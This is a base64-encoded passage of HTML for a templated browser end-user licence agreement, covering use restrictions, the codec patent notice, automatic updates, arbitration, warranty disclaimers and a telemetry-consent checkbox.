eSB0aGF0IGlzIGFnYWluc3QgdGhlIGxhdyBvciB0byBjcmVhdGUgb3IKICAgICAgICAgICAgICAgICAgICAgICAgcHJvcGFnYXRlIG1hbHdhcmU7IG9yIDwvaDM+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDM+IChmKSAmbmJzcDsmbmJzcDsmbmJzcDsgc2hhcmUsIHB1Ymxpc2gsIGRpc3RyaWJ1dGUsIG9yIGxlbmQgdGhlIFNvZnR3YXJlLCBwcm92aWRlIHRoZQogICAgICAgICAgICAgICAgICAgICAgICBTb2Z0d2FyZSBhcyBhIHN0YW5kLWFsb25lIGhvc3RlZCBzb2x1dGlvbiBmb3Igb3RoZXJzIHRvIHVzZSwgb3IgdHJhbnNmZXIgdGhlIFNvZnR3YXJlIG9yIHRoaXMKICAgICAgICAgICAgICAgICAgICAgICAgYWdyZWVtZW50IHRvIGFueSB0aGlyZCBwYXJ0eS4gPC9oMz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMz4gKGcpICZuYnNwOyZuYnNwOyZuYnNwOyB1c2UgdG9rZW5zIHRoZSBTb2Z0d2FyZSB1c2VzIHRvIGNhbGwgaW50byBhICRDT01QQU5ZIEF6dXJlIHNlcnZpY2UKICAgICAgICAgICAgICAgICAgICAgICAgc2VwYXJhdGUgZnJvbSB0aGUgU29mdHdhcmUuIDwvaDM+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuOS4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IERvY3VtZW50YXRpb24gPC9oMj4gLiBJZiBkb2N1bWVudGF0aW9uIGlzCiAgICAgICAgICAgICAgICAgICAgICAgIHByb3ZpZGVkIHdpdGggdGhlIFNvZnR3YXJlLCB5b3UgbWF5IGNvcHkgYW5kIHVzZSB0aGUgZG9jdW1lbnRhdGlvbiBmb3IgcGVyc29uYWwgcmVmZXJlbmNlCiAgICAgICAgICAgICAgICAgICAgICAgIHB1cnBvc2VzLgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXY+PGgyPiAyLjEwLiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgSC4yNjQvQVZDIGFuZCBNUEVHLTQgVmlzdWFsIFN0YW5kYXJkcyBhbmQgVkMtMSBWaWRlbwogICAgICAgICAgICAgICAgICAgICAgICBTdGFuZGFyZHMgPC9oMj4gLiBUaGUgU29mdHdhcmUgbWF5IGluY2x1ZGUgSC4yNjQvQVZDLCBNUEVHLTQgVmlzdWFsLCBhbmQvb3IgVkMtMSBjb2RlYwogICAgICAgICAgICAgICAgICAgICAgICB0ZWNobm9sb2d5LiBNUEVHIExBLCBMLkwuQy4gcmVxdWlyZXMgdGhpcyBub3RpY2U6IDxicj4gVEhJUyBQUk9EVUNUIElTIExJQ0VOU0VEIFVOREVSIFRIRQogICAgICAgICAgICAgICAgICAgICAgICBILjI2NC9BVkMsIFRIRSBWQy0xLCBBTkQgVEhFIE1QRUctNCBQQVJUIDIgVklTVUFMIFBBVEVOVCBQT1JURk9MSU8gTElDRU5TRVMgRk9SIFRIRSBQRVJTT05BTCBBTkQKICAgICAgICAgICAgICAgICAgICAgICAgTk9OLUNPTU1FUkNJQUwgVVNFIE9GIEEgQ09OU1VNRVIgVE8gKGkpIEVOQ09ERSBWSURFTyBJTiBDT01QTElBTkNFIFdJVEggVEhFIEFCT1ZFIFNUQU5EQVJEUwogICAgICAgICAgICAgICAgICAgICAgICAo4oCcVklERU8gU1RBTkRBUkRT4oCdKSBPUiAoaWkpIERFQ09ERSBBVkMsIFZDLTEsIEFORCBNUEVHLTQgUEFSVCAyIFZJREVPIFRIQVQgV0FTIEVOQ09ERUQgQlkgQQogICAgICAgICAgICAgICAgICAgICAgICBDT05TVU1FUiBFTkdBR0VEIElOIEEgUEVSU09OQUwgQU5EIE5PTi1DT01NRVJDSUFMIEFDVElWSVRZIE9SIFdBUyBPQlRBSU5FRCBGUk9NIEEgVklERU8gUFJPVklERVIKICAgICAgICAgICAgICAgICAgICAgICAgTElDRU5TRUQgVE8gUFJPVklERSBTVUNIIFZJREVPLiBOTyBMSUNFTlNFIElTIEdSQU5URUQgT1IgU0hBTEwgQkUgSU1QTElFRCBGT1IgQU5ZIE9USEVSIFVTRS4KICAgICAgICAgICAgICAgICAgICAgICAgQURESVRJT05BTCBJTkZPUk1BVElPTiBNQVkgQkUgT0JUQUlORUQgRlJPTSBNUEVHIExBLCBMLkwuQy4gU0VFIDxhIGhyZWY9Imh0dHBzOi8vYWthLm1zL21wZWdsYSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBodHRwczovL2FrYS5tcy9tcGVnbGEgPC9hPiAuCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuMTEuICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBFeHBvcnQgUmVzdHJpY3Rpb25zLiA8L2gyPiBZb3UgbXVzdCBjb21wbHkgd2l0aCBhbGwKICAgICAgICAgICAgICAgICAgICAgICAgZG9tZXN0aWMgYW5kIGludGVybmF0aW9uYWwgZXhwb3J0IGxhd3MgYW5kIHJlZ3VsYXRpb25zIHRoYXQgYXBwbHkgdG8gdGhlIFNvZnR3YXJlLCB3aGljaCBpbmNsdWRlCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc3RyaWN0aW9ucyBvbiBkZXN0aW5hdGlvbnMsIGVuZCB1c2VycywgYW5kIGVuZCB1c2UuIEZvciBmdXJ0aGVyIGluZm9ybWF0aW9uIG9uIGV4cG9ydAogICAgICAgICAgICAgICAgICAgICAgICByZXN0cmljdGlvbnMsIHZpc2l0IDxhIGhyZWY9Imh0dHBzOi8vYWthLm1zL2V4cG9ydGluZyI+IGh0dHBzOi8vYWthLm1zL2V4cG9ydGluZyA8L2E+IC4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMj4gMi4xMi4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IFN1cHBvcnQgU2VydmljZXMuIDwvaDI+ICRDT01QQU5ZIGlzIG5vdCBvYmxpZ2F0ZWQgdW5kZXIKICAgICAgICAgICAgICAgICAgICAgICAgdGhpcyBhZ3JlZW1lbnQgdG8gcHJvdmlkZSBhbnkgc3VwcG9ydCBzZXJ2aWNlcyBmb3IgdGhlIFNvZnR3YXJlLiBBbnkgc3VwcG9ydCBwcm92aWRlZCBpcyDigJxhcwogICAgICAgICAgICAgICAgICAgICAgICBpc+KAnSwg4oCcd2l0aCBhbGwgZmF1bHRz4oCdLCBhbmQgd2l0aG91dCB3YXJyYW50eSBvZiBhbnkga2luZC4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMj4gMi4xMy4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IFVwZGF0ZXMuIDwvaDI+IFRoZSBTb2Z0d2FyZSBtYXkgcGVyaW9kaWNhbGx5IGNoZWNrIGZvcgogICAgICAgICAgICAgICAgICAgICAgICB1cGRhdGVzLCBhbmQgZG93bmxvYWQgYW5kIGluc3RhbGwgdGhlbSBmb3IgeW91LiBZb3UgbWF5IG9idGFpbiB1cGRhdGVzIG9ubHkgZnJvbSAkQ09NUEFOWSBvcgogICAgICAgICAgICAgICAgICAgICAgICBhdXRob3JpemVkIHNvdXJjZXMuICRDT01QQU5ZIG1heSBuZWVkIHRvIHVwZGF0ZSB5b3VyIHN5c3RlbSB0byBwcm92aWRlIHlvdSB3aXRoIHVwZGF0ZXMuIFlvdQogICAgICAgICAgICAgICAgICAgICAgICBhZ3JlZSB0byByZWNlaXZlIHRoZXNlIGF1dG9tYXRpYyB1cGRhdGVzIHdpdGhvdXQgYW55IGFkZGl0aW9uYWwgbm90aWNlLiBVcGRhdGVzIG1heSBub3QgaW5jbHVkZQogICAgICAgICAgICAgICAgICAgICAgICBvciBzdXBwb3J0IGFsbCBleGlzdGluZyBTb2Z0d2FyZSBmZWF0dXJlcywgc2VydmljZXMsIG9yIHBlcmlwaGVyYWwgZGV2aWNlcy4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICBJZiB5b3UgYW5kICRDT01QQU5ZIGhhdmUgYSBkaXNwdXRlLCB5b3UgYW5kICRDT01QQU5ZIGFncmVlIHRvIHRyeSBmb3IgNjAgZGF5cyB0byByZXNvbHZlIGl0CiAgICAgICAgICAgICAgICAgICAgaW5mb3JtYWxseS4gSWYgeW91IGFuZCAkQ09NUEFOWSBjYW7igJl0LCB5b3UgYW5kICRDT01QQU5ZIGFncmVlIHRvIDxiPiBiaW5kaW5nIGluZGl2aWR1YWwKICAgICAgICAgICAgICAgICAgICAgICAgYXJiaXRyYXRpb24gYmVmb3JlIHRoZSBBbWVyaWNhbiBBcmJpdHJhdGlvbiBBc3NvY2lhdGlvIDwvYj4gbiB1bmRlciB0aGUgRmVkZXJhbCBBcmJpdHJhdGlvbiBBY3QKICAgICAgICAgICAgICAgICAgICAo4oCcRkFB4oCdKSwgYW5kIDxiPiBub3QgdG8gc3VlIGluIGNvdXJ0IGluIGZyb250IG9mIGEganVkZ2Ugb3IganVyeSA8L2I+IC4gSW5zdGVhZCwgYSBuZXV0cmFsCiAgICAgICAgICAgICAgICAgICAgYXJiaXRyYXRvciB3aWxsIGRlY2lkZS4gPGI+IENsYXNzIGFjdGlvbiBsYXdzdWl0cywgY2xhc3Mtd2lkZSBhcmJpdHJhdGlvbnMsIHByaXZhdGUgYXR0b3JuZXktZ2VuZXJhbAogICAgICAgICAgICAgICAgICAgICAgICBhY3Rpb25zLCA8L2I+IGFuZCBhbnkgb3RoZXIgcHJvY2VlZGluZyB3aGVyZSBzb21lb25lIGFjdHMgaW4gYSByZXByZXNlbnRhdGl2ZSBjYXBhY2l0eSA8Yj4gYXJlCiAgICAgICAgICAgICAgICAgICAgICAgIG5vdCBhbGxvd2VkIDwvYj4gOyBub3IgaXMgY29tYmluaW5nIGluZGl2aWR1YWwgcHJvY2VlZGluZ3Mgd2l0aG91dCB0aGUgY29uc2VudCBvZiBhbGwgcGFydGllcy4KICAgICAgICAgICAgICAgICAgICBUaGUgY29tcGxldGUgQXJiaXRyYXRpb24gQWdyZWVtZW50IGNvbnRhaW5zIG1vcmUgdGVybXMgYW5kIGlzIGF0IDxhCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPSJodHRwczovL2FrYS5tcy9hcmItYWdyZWVtZW50LTEiPiBodHRwczovL2FrYS5tcy9hcmItYWdyZWVtZW50LTEgPC9hPiAuIFlvdSBhbmQKICAgICAgICAgICAgICAgICAgICAkQ09NUEFOWSBhZ3JlZSB0byB0aGVzZSB0ZXJtcy4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuMTUuICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBFbnRpcmUgQWdyZWVtZW50LiA8L2gyPiBUaGlzIGFncmVlbWVudCwgYW5kIGFueSBvdGhlciB0ZXJtcwogICAgICAgICAgICAgICAgICAgICRDT01QQU5ZIG1heSBwcm92aWRlIGZvciBzdXBwbGVtZW50cywgdXBkYXRlcywgb3IgdGhpcmQtcGFydHkgYXBwbGljYXRpb25zLCBpcyB0aGUgZW50aXJlIGFncmVlbWVudAogICAgICAgICAgICAgICAgICAgIGZvciB0aGUgU29mdHdhcmUuCiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXY+PGgyPiAyLjE2LiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgQXBwbGljYWJsZSBMYXcgYW5kIGxhY2UgdG8gcmVzb2x2ZSBkaXNwdXRlcyA8L2gyPiAuIElmIHlvdQogICAgICAgICAgICAgICAgICAgIGFjcXVpcmVkIHRoZSBTb2Z0d2FyZSBpbiB0aGUgVW5pdGVkIFN0YXRlcyBvciBDYW5hZGEsIHRoZSBsYXdzIG9mIHRoZSBzdGF0ZSBvciBwcm92aW5jZSB3aGVyZSB5b3UKICAgICAgICAgICAgICAgICAgICBsaXZlIChvciwgaWYgYSBidXNpbmVzcywgd2hlcmUgeW91ciBwcmluY2lwYWwgcGxhY2Ugb2YgYnVzaW5lc3MgaXMgbG9jYXRlZCkgZ292ZXJuIHRoZQogICAgICAgICAgICAgICAgICAgIGludGVycHJldGF0aW9uIG9mIHRoaXMgYWdyZWVtZW50LCBjbGFpbXMgZm9yIGl0cyBicmVhY2gsIGFuZCBhbGwgb3RoZXIgY2xhaW1zIChpbmNsdWRpbmcgY29uc3VtZXIKICAgICAgICAgICAgICAgICAgICBwcm90ZWN0aW9uLCB1bmZhaXIgY29tcGV0aXRpb24sIGFuZCB0b3J0IGNsYWltcyksIHJlZ2FyZGxlc3Mgb2YgY29uZmxpY3Qgb2YgbGF3cyBwcmluY2lwbGVzLCBleGNlcHQKICAgICAgICAgICAgICAgICAgICB0aGF0IHRoZSBGQUEgZ292ZXJucyBldmVyeXRoaW5nIHJlbGF0ZWQgdG8gYXJiaXRyYXRpb24uIElmIHlvdSBhY3F1aXJlZCB0aGUgU29mdHdhcmUgaW4gYW55IG90aGVyCiAgICAgICAgICAgICAgICAgICAgY291bnRyeSwgaXRzIGxhd3MgYXBwbHksIGV4Y2VwdCB0aGF0IHRoZSBGQUEgZ292ZXJucyBldmVyeXRoaW5nIHJlbGF0ZWQgdG8gYXJiaXRyYXRpb24uIElmIFUuUy4KICAgICAgICAgICAgICAgICAgICBmZWRlcmFsIGp1cmlzZGljdGlvbiBleGlzdHMsIHlvdSBhbmQgJENPTVBBTlkgY29uc2VudCB0byBleGNsdXNpdmUganVyaXNkaWN0aW9uIGFuZCB2ZW51ZSBpbiB0aGUKICAgICAgICAgICAgICAgICAgICBmZWRlcmFsIGNvdXJ0IGluIEtpbmcgQ291bnR5LCBXYXNoaW5ndG9uIGZvciBhbGwgZGlzcHV0ZXMgaGVhcmQgaW4gY291cnQgKGV4Y2x1ZGluZyBhcmJpdHJhdGlvbikuIElmCiAgICAgICAgICAgICAgICAgICAgbm90LCB5b3UgYW5kICRDT01QQU5ZIGNvbnNlbnQgdG8gZXhjbHVzaXZlIGp1cmlzZGljdGlvbiBhbmQgdmVudWUgaW4gdGhlIFN1cGVyaW9yIENvdXJ0IG9mIEtpbmcKICAgICAgICAgICAgICAgICAgICBDb3VudHksIFdhc2hpbmd0b24gZm9yIGFsbCBkaXNwdXRlcyBoZWFyZCBpbiBjb3VydCAoZXhjbHVkaW5nIGFyYml0cmF0aW9uKS4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuMTcuICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBDb25zdW1lciBSaWdodHM7IFJlZ2lvbmFsIFZhcmlhdGlvbnMuIDwvaDI+IFRoaXMgYWdyZWVtZW50CiAgICAgICAgICAgICAgICAgICAgZGVzY3JpYmVzIGNlcnRhaW4gbGVnYWwgcmlnaHRzLiBZb3UgbWF5IGhhdmUgb3RoZXIgcmlnaHRzLCBpbmNsdWRpbmcgY29uc3VtZXIgcmlnaHRzLCB1bmRlciB0aGUgbGF3cwogICAgICAgICAgICAgICAgICAgIG9mIHlvdXIgc3RhdGUsIHByb3ZpbmNlLCBvciBjb3VudHJ5LiBTZXBhcmF0ZSBhbmQgYXBhcnQgZnJvbSB5b3VyIHJlbGF0aW9uc2hpcCB3aXRoICRDT01QQU5ZLCB5b3UKICAgICAgICAgICAgICAgICAgICBtYXkgYWxzbyBoYXZlIHJpZ2h0cyB3aXRoIHJlc3BlY3QgdG8gdGhlIHBhcnR5IGZyb20gd2hpY2ggeW91IGFjcXVpcmVkIHRoZSBTb2Z0d2FyZS4gVGhpcyBhZ3JlZW1lbnQKICAgICAgICAgICAgICAgICAgICBkb2VzIG5vdCBjaGFuZ2UgdGhvc2Ugb3RoZXIgcmlnaHRzIGlmIHRoZSBsYXdzIG9mIHlvdXIgc3RhdGUsIHByb3ZpbmNlLCBvciBjb3VudHJ5IGRvIG5vdCBwZXJtaXQgaXQKICAgICAgICAgICAgICAgICAgICB0byBkbyBzby4gRm9yIGV4YW1wbGUsIGlmIHlvdSBhY3F1aXJlZCB0aGUgU29mdHdhcmUgaW4gb25lIG9mIHRoZSBiZWxvdyByZWdpb25zLCBvciBtYW5kYXRvcnkKICAgICAgICAgICAgICAgICAgICBjb3VudHJ5IGxhdyBhcHBsaWVzLCB0aGVuIHRoZSBmb2xsb3dpbmcgcHJvdmlzaW9ucyBhcHBseSB0byB5b3U6CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXY+PGgzPiAoYSkgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IEF1c3RyYWxpYS4gPC9oMz4gWW91IGhhdmUgc3RhdHV0b3J5IGd1YXJhbnRlZXMKICAgICAgICAgICAgICAgICAgICB1bmRlciB0aGUgQXVzdHJhbGlhbiBDb25zdW1lciBMYXcgYW5kIG5vdGhpbmcgaW4gdGhpcyBhZ3JlZW1lbnQgaXMgaW50ZW5kZWQgdG8gYWZmZWN0IHRob3NlIHJpZ2h0cy4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdj48aDM+IChiKSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgQ2FuYWRhLiA8L2gzPiBJZiB5b3UgYWNxdWlyZWQgdGhpcyBTb2Z0d2FyZSBpbgogICAgICAgICAgICAgICAgICAgIENhbmFkYSwgeW91IG1heSBzdG9wIHJlY2VpdmluZyB1cGRhdGVzIGJ5IGRpc2Nvbm5lY3RpbmcgeW91ciBkZXZpY2UgZnJvbSB0aGUgSW50ZXJuZXQgKGlmIGFuZCB3aGVuCiAgICAgICAgICAgICAgICAgICAgeW91IHJlLWNvbm5lY3QgdG8gdGhlIEludGVybmV0LCBob3dldmVyLCB0aGUgU29mdHdhcmUgd2lsbCByZXN1bWUgY2hlY2tpbmcgZm9yIGFuZCBpbnN0YWxsaW5nCiAgICAgICAgICAgICAgICAgICAgdXBkYXRlcyksIG9yIHVuaW5zdGFsbGluZyB0aGUgU29mdHdhcmUuIFRoZSBwcm9kdWN0IGRvY3VtZW50YXRpb24sIGlmIGFueSwgbWF5IGFsc28gc3BlY2lmeSBob3cgdG8KICAgICAgICAgICAgICAgICAgICB0dXJuIG9mZiB1cGRhdGVzIGZvciB5b3VyIHNwZWNpZmljIGRldmljZSBvciBTb2Z0d2FyZS4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdj48aDM+IChjKSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgR2VybWFueSBhbmQgQXVzdHJpYSA8L2gzPiAuIElmIHlvdSBhcmUKICAgICAgICAgICAgICAgICAgICB1c2luZyB0aGUgU29mdHdhcmUgaW4gR2VybWFueSwgeW91IG1heSBkbyBzbyBvbmx5IHN1YmplY3QgdG8gdGhlIGZvbGxvd2luZyB0ZXJtczogPGEKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhyZWY9Imh0dHBzOi8vYWthLm1zLyRCUk9XU0VSX0xPV0VSLWdlcm1hbnkiPiBodHRwczovL2FrYS5tcy8kQlJPV1NFUl9MT1dFUi1nZXJtYW55IDwvYT4gLgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2PjxoMj4gMi4xOC4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IERJU0NMQUlNRVIgT0YgV0FSUkFOVFkuIDwvaDI+IFRIRSBTT0ZUV0FSRSBJUyBMSUNFTlNFRCDigJxBUyBJUyzigJ0KICAgICAgICAgICAgICAgICAgICDigJxXSVRIIEFMTCBGQVVMVFMs4oCdIEFORCDigJxBUyBBVkFJTEFCTEUu4oCdIFlPVSBCRUFSIFRIRSBSSVNLIE9GIFVTSU5HIElULiAkQ09NUEFOWV9VUFBFUiBHSVZFUyBOTwogICAgICAgICAgICAgICAgICAgIEVYUFJFU1MKICAgICAgICAgICAgICAgICAgICBXQVJSQU5USUVTLCBHVUFSQU5URUVTLCBPUiBDT05ESVRJT05TLiBZT1UgTUFZIEhBVkUgQURESVRJT05BTCBDT05TVU1FUiBSSUdIVFMgT1IgU1RBVFVUT1JZCiAgICAgICAgICAgICAgICAgICAgR1VBUkFOVEVFUyBVTkRFUiBZT1VSIExPQ0FMIExBV1MgVEhBVCBUSElTIEFHUkVFTUVOVCBDQU5OT1QgQ0hBTkdFLiBUTyBUSEUgRVhURU5UIFBFUk1JVFRFRCBVTkRFUgogICAgICAgICAgICAgICAgICAgIFlPVVIgTE9DQUwgTEFXUywgJENPTVBBTllfVVBQRVIgRVhDTFVERVMgQUxMIElNUExJRUQgV0FSUkFOVElFUywgSU5DTFVESU5HIE1FUkNIQU5UQUJJTElUWSwgRklUTkVTUwogICAgICAgICAgICAgICAgICAgIEZPUiBBCiAgICAgICAgICAgICAgICAgICAgUEFSVElDVUxBUiBQVVJQT1NFLCBBTkQgTk9OLUlORlJJTkdFTUVOVC4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuMTkuICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBMSU1JVEFUSU9OIE9OIEFORCBFWENMVVNJT04gT0YgUkVNRURJRVMgQU5EIERBTUFHRVMuIDwvaDI+IElGCiAgICAgICAgICAgICAgICAgICAgWU9VIEhBVkUgQU5ZIEJBU0lTIEZPUiBSRUNPVkVSSU5HIERBTUFHRVMgREVTUElURSBUSEUgUFJFQ0VESU5HIERJU0NMQUlNRVIgT0YgV0FSUkFOVFksIFlPVSBDQU4KICAgICAgICAgICAgICAgICAgICBSRUNPVkVSIEZST00gJENPTVBBTllfVVBQRVIgQU5EICRDT01QQU5ZX1VQUEVS4oCZUyBBRkZJTElBVEVTIE9SIFNVUFBMSUVSUyBPTkxZIERJUkVDVCBEQU1BR0VTIFVQIFRPCiAgICAgICAgICAgICAgICAgICAgVEhFIEFNT1VOVAogICAgICAgICAgICAgICAgICAgIFlPVSBQQUlEIEZPUiBUSEUgU09GVFdBUkUgT1IgJDUuMDAsIFdISUNIRVZFUiBJUyBHUkVBVEVSLiBZT1UgQ0FOTk9UIFJFQ09WRVIgQU5ZIE9USEVSIERBTUFHRVMgT1IKICAgICAgICAgICAgICAgICAgICBMT1NTRVMsIElOQ0xVRElORyBDT05TRVFVRU5USUFMLCBMT1NUIFBST0ZJVFMsIFNQRUNJQUwsIElORElSRUNULCBQVU5JVElWRSBPUiBJTkNJREVOVEFMIERBTUFHRVMuIFRPCiAgICAgICAgICAgICAgICAgICAgVEhFIE1BWElNVU0gRVhURU5UIFBFUk1JVFRFRCBCWSBMQVcsIFRIRVNFIExJTUlUQVRJT05TIEFORCBFWENMVVNJT05TIEFQUExZIFRPIEFOWVRISU5HIE9SIEFOWQogICAgICAgICAgICAgICAgICAgIENMQUlNUyBSRUxBVEVEIFRPIFRIRSBTT0ZUV0FSRS4gPHN0cm9uZz4gPGJyPiBJdCBhbHNvIGFwcGxpZXMgZXZlbiBpZiB0aGlzIHJlbWVkeSBkb2VzIG5vdCBmdWxseQogICAgICAgICAgICAgICAgICAgICAgICBjb21wZW5zYXRlIHlvdSBmb3IgYW55IGxvc3NlcyBvciBmYWlscyBvZiBpdHMgZXNzZW50aWFsIHB1cnBvc2Ugb3IgaWYgJENPTVBBTlkga25ldyBvciBzaG91bGQKICAgICAgICAgICAgICAgICAgICAgICAgaGF2ZSBrbm93biBhYm91dCB0aGUgcG9zc2liaWxpdHkgb2YgdGhlIGRhbWFnZXMuIFRoZSBhYm92ZSBsaW1pdGF0aW9uIG9yIGV4Y2x1c2lvbiBtYXkgbm90IGFwcGx5CiAgICAgICAgICAgICAgICAgICAgICAgIHRvIHlvdSBiZWNhdXNlIHlvdXIgc3RhdGUsIHByb3ZpbmNlLCBvciBjb3VudHJ5IG1heSBub3QgYWxsb3cgdGhlIGV4Y2x1c2lvbiBvciBsaW1pdGF0aW9uIG9mCiAgICAgICAgICAgICAgICAgICAgICAgIGluY2lkZW50YWwsIGNvbnNlcXVlbnRpYWwsIG9yIG90aGVyIGRhbWFnZXMuIDwvc3Ryb25nPjwvZGl2PgogICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICA8aHI+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxwPiBTb3VyY2UgY29kZSBmb3IgcG9ydGlvbnMgb2YgJENPTVBBTlkgJEJST1dTRVIgaXMgYXZhaWxhYmxlIGZyZWUgb2YgY2hhcmdlIGZyb20gPGEKICAgICAgICAgICAgICAgICAgICAgICAgaHJlZj0iaHR0cHM6Ly90aGlyZHBhcnR5c291cmNlLiRDT01QQU5ZX0xPV0VSLmNvbSI+CiAgICAgICAgICAgICAgICAgICAgaHR0cHM6Ly90aGlyZHBhcnR5c291cmNlLiRDT01QQU5ZX0xPV0VSLmNvbSA8L2E+IHVuZGVyCiAgICAgICAgICAgICAgICAgICAgdGhlIHRoaXJkIHBhcnR5IG9wZW4gc291cmNlIGxpY2Vuc2UgdGVybXMgcHJvdmlkZWQgYXQgPGEgaHJlZj0iaHR0cHM6Ly9ha2EubXMvdGhpcmRwYXJ0eW5vdGljZXMiPgogICAgICAgICAgICAgICAgICAgICAgICBodHRwczovL2FrYS5tcy90aGlyZHBhcnR5bm90aWNlcyA8L2E+IGFuZCBpbiAkQ09NUEFOWSAkQlJPV1NFUiBhdCAkQlJPV1NFUl9MT1dFUjovL2NyZWRpdHMgYWZ0ZXIKICAgICAgICAgICAgICAgICAgICBpbnN0YWxsYXRpb24uIE9yIHRvIG9idGFpbiB0aGlzIHNvdXJjZSBjb2RlIHlvdSBtYXkgc2VuZCBhIGNoZWNrIG9yIG1vbmV5IG9yZGVyIGZvciBVUyAkNS4wMCwKICAgICAgICAgICAgICAgICAgICBpbmNsdWRpbmcgdGhlICRCUk9XU0VSIHZlcnNpb24gbnVtYmVyLCB0bzogPC9wPgogICAgICAgICAgICAgICAgPHA+IFNvdXJjZSBDb2RlIENvbXBsaWFuY2UgVGVhbSA8YnI+ICRDT01QQU5ZIENvcnBvcmF0aW9uIDxicj4gT25lICRDT01QQU5ZIFdheSA8YnI+IFJlZG1vbmQsIFdBIDk4MDUyCiAgICAgICAgICAgICAgICAgICAgPGJyPiBVU0EgPGJyPjwvcD48L2Rpdj4KCgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImluZm8iPgogICAgICAgICAgICA8ZGl2IGlkPSJldWxhLXByaXZhY3kiPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwczovL2dvLiRDT01QQU5ZX0xPV0VSLmNvbS9md2xpbmsvP0xpbmtJZD01MjE4MzkiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogaW5oZXJpdDtjb2xvcjojMWE1OWM4Ij4KICAgICAgICAgICAgICAgIFByaXZhY3kgc3RhdGVtZW50CiAgICAgICAgICAgIDwvYT48L2Rpdj4KICAgICAgICAgICAgPGRpdj48c3Bhbj5JbnN0YWxsaW5nICRDT01QQU5ZICRCUk9XU0VSIHdpbGwgYWRkIHRoZSAkQ09NUEFOWSByZXBvc2l0b3J5IHNvIHlvdXIgc3lzdGVtIHdpbGwgYXV0b21hdGljYWxseSBrZWVwICRDT01QQU5ZICRCUk9XU0VSIHVwIHRvIGRhdGUuPC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4gPCEtLS0tPgogICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJldWxhLWRvd25sb2FkLXNlY3Rpb25fX2NoZWNrYm94Ij48aW5wdXQgaWQ9ImV1bGEtYWNjZXB0LWNoZWNrYm94IiB0eXBlPSJjaGVja2JveCIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLWJpLWlkPSJPdGhlci1TZWxlY3QtRG93bmxvYWRkaWFsb2ctQ29uc2VudCI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZXVsYS1hY2NlcHQtY2hlY2tib3giIGRhdGEtYmktaWQ9Ik90aGVyLVNlbGVjdC1Eb3dubG9hZGRpYWxvZy1Db25zZW50Ij48c3Bhbj48c3BhbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWQ9ImNvbnNlbnQtdGV4dCI+SGVscCAkQ09NUEFOWSBpbXByb3ZlIG91ciBwcm9kdWN0cyBieSBzZW5kaW5nIGluZm8gYWJvdXQgaG93IHlvdSB1c2UgdGhlIGJyb3dzZXIgYW5kIHdlYnNpdGVzIHlvdSB2aXNpdC48L3NwYW4+IDxhCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZD0iY29uc2VudC1saW5rIiB0YXJnZXQ9Il9ibGFuayIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhyZWY9Imh0dHBzOi8vZ28uJENPTVBBTllfTE9XRVIuY29tL2Z3bGluay8